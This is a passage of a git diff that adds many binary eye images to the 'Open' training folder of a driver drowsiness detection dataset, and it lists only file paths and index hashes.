Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_327.jpg new file mode 100644 index 00000000..35a7a35d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_327.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_328.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_328.jpg new file mode 100644 index 00000000..655825eb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_328.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_329.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_329.jpg new file mode 100644 index 00000000..e09f3f2d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_329.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_33.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_33.jpg new file mode 100644 index 00000000..1da9580b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_33.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_331.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_331.jpg new file mode 100644 index 00000000..82a4a8cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_331.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_333.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_333.jpg new file mode 100644 index 00000000..80d31c86 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_333.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_334.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_334.jpg new file mode 100644 index 00000000..e73ed551 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_334.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_335.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_335.jpg new file mode 100644 index 00000000..09b52f96 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_335.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_336.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_336.jpg new file mode 100644 index 00000000..4588b6df Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_336.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_337.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_337.jpg new file mode 100644 index 00000000..79fba94d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_337.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_338.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_338.jpg new file mode 100644 index 00000000..0d4102a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_338.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_339.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_339.jpg new file mode 100644 index 00000000..76db7fd6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_339.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_34.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_34.jpg new file mode 100644 index 00000000..c2237625 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_34.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_341.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_341.jpg new file mode 100644 index 00000000..68459f13 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_341.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_342.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_342.jpg new file mode 100644 index 00000000..88bb43b4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_342.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_343.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_343.jpg new file mode 100644 index 00000000..5f95e7cf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_343.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_344.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_344.jpg new file mode 100644 index 00000000..5afdc111 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_344.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_345.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_345.jpg new file mode 100644 index 00000000..3fc6f6ae Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_345.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_346.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_346.jpg new file mode 100644 index 00000000..622e9ef4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_346.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_349.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_349.jpg new file mode 100644 index 00000000..0331a8a0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_349.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_35.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_35.jpg new file mode 100644 index 00000000..1dca5443 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_35.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_350.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_350.jpg new file mode 100644 index 00000000..ef06cad3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_350.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_351.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_351.jpg new file mode 100644 index 00000000..7f119ffb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_351.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_352.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_352.jpg new file mode 100644 index 00000000..bcdad3a3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_352.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_353.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_353.jpg new file mode 100644 index 00000000..5600052f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_353.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_354.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_354.jpg new file mode 100644 index 00000000..6b985f82 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_354.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_355.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_355.jpg new file mode 100644 index 00000000..7a6aaf41 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_355.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_356.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_356.jpg new file mode 100644 index 00000000..05da4c70 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_356.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_357.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_357.jpg new file mode 100644 index 00000000..60c64039 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_357.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_358.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_358.jpg new file mode 100644 index 00000000..7843f4e5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_358.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_36.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_36.jpg new file mode 100644 index 00000000..f8dcea8b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_36.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_360.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_360.jpg new file mode 100644 index 00000000..5a85da43 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_360.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_361.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_361.jpg new file mode 100644 index 00000000..c141b1b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_361.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_362.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_362.jpg new file mode 100644 index 00000000..d5f6ae4d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_362.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_364.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_364.jpg new file mode 100644 index 00000000..9fe509d1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_364.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_365.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_365.jpg new file mode 100644 index 00000000..67122e6f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_365.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_366.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_366.jpg new file mode 100644 index 00000000..f47bce6e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_366.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_367.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_367.jpg new file mode 100644 index 00000000..2a4c9ad7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_367.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_368.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_368.jpg new file mode 100644 index 00000000..87fd9f36 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_368.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_369.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_369.jpg new file mode 100644 index 00000000..8891add3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_369.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_37.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_37.jpg new file mode 100644 index 00000000..510fc0d2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_37.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_370.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_370.jpg new file mode 100644 index 00000000..40a4c32b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_370.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_371.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_371.jpg new file mode 100644 index 00000000..21b5fde9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_371.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_372.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_372.jpg new file mode 100644 index 00000000..b958cd00 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_372.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_374.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_374.jpg new file mode 100644 index 00000000..026a73da Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_374.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_375.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_375.jpg new file mode 100644 index 00000000..f118347d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_375.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_376.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_376.jpg new file mode 100644 index 00000000..05cbc455 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_376.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_377.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_377.jpg new file mode 100644 index 00000000..e65e8bec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_377.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_378.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_378.jpg new file mode 100644 index 00000000..560150ea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_378.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_379.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_379.jpg new file mode 100644 index 00000000..4dba78a5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_379.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_38.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_38.jpg new file mode 100644 index 00000000..47e1c1b3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_38.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_380.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_380.jpg new file mode 100644 index 00000000..3530b472 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_380.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_381.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_381.jpg new file mode 100644 index 00000000..0088c1af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_381.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_382.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_382.jpg new file mode 100644 index 00000000..7d67df4c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_382.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_384.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_384.jpg new file mode 100644 index 00000000..0e76d770 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_384.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_385.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_385.jpg new file mode 100644 index 00000000..6de70502 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_385.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_386.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_386.jpg new file mode 100644 index 00000000..572ab8d9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_386.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_387.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_387.jpg new file mode 100644 index 00000000..ac3b6b92 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_387.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_388.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_388.jpg new file mode 100644 index 00000000..03c53b33 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_388.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_389.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_389.jpg new file mode 100644 index 00000000..b96b6d32 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_389.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_39.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_39.jpg new file mode 100644 index 00000000..87c5dfac Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_39.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_390.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_390.jpg new file mode 100644 index 00000000..d5063a49 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_390.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_391.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_391.jpg new file mode 100644 index 00000000..00ecd957 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_391.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_392.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_392.jpg new file mode 100644 index 00000000..89217bcf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_392.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_393.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_393.jpg new file mode 100644 index 00000000..05382d79 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_393.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_394.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_394.jpg new file mode 100644 index 00000000..892bc93f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_394.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_395.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_395.jpg new file mode 100644 index 00000000..272b1b1f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_395.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_396.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_396.jpg new file mode 100644 index 00000000..800d45e9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_396.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_397.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_397.jpg new file mode 100644 index 00000000..aca2fdba Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_397.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_398.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_398.jpg new file mode 100644 index 00000000..83c76117 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_398.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_399.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_399.jpg new file mode 100644 index 00000000..ccf6d955 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_399.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_4.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_4.jpg new file mode 100644 index 00000000..8af7528e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_4.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_40.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_40.jpg new file mode 100644 index 00000000..40ed7f7d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_40.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_400.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_400.jpg new file mode 100644 index 00000000..cfc75616 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_400.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_401.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_401.jpg new file mode 100644 index 00000000..d9b2e62e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_401.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_402.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_402.jpg new file mode 100644 index 00000000..36cd5d65 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_402.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_403.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_403.jpg new file mode 100644 index 00000000..64bc37b4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_403.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_404.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_404.jpg new file mode 100644 index 00000000..1b91380a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_404.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_405.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_405.jpg new file mode 100644 index 00000000..87cd0d71 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_405.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_406.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_406.jpg new file mode 100644 index 00000000..f60f876f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_406.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_407.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_407.jpg new file mode 100644 index 00000000..d05d1925 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_407.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_408.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_408.jpg new file mode 100644 index 00000000..2683c138 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_408.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_409.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_409.jpg new file mode 100644 index 00000000..9ebc537e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_409.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_41.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_41.jpg new file mode 100644 index 00000000..7aeba54d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_41.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_410.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_410.jpg new file mode 100644 index 00000000..697a9b3a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_410.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_411.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_411.jpg new file mode 100644 index 00000000..14ec497f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_411.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_412.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_412.jpg new file mode 100644 index 00000000..07e9bd75 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_412.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_414.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_414.jpg new file mode 100644 index 00000000..3ee53bd9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_414.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_415.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_415.jpg new file mode 100644 index 00000000..68aa1597 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_415.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_417.jpg b/MachineLearning 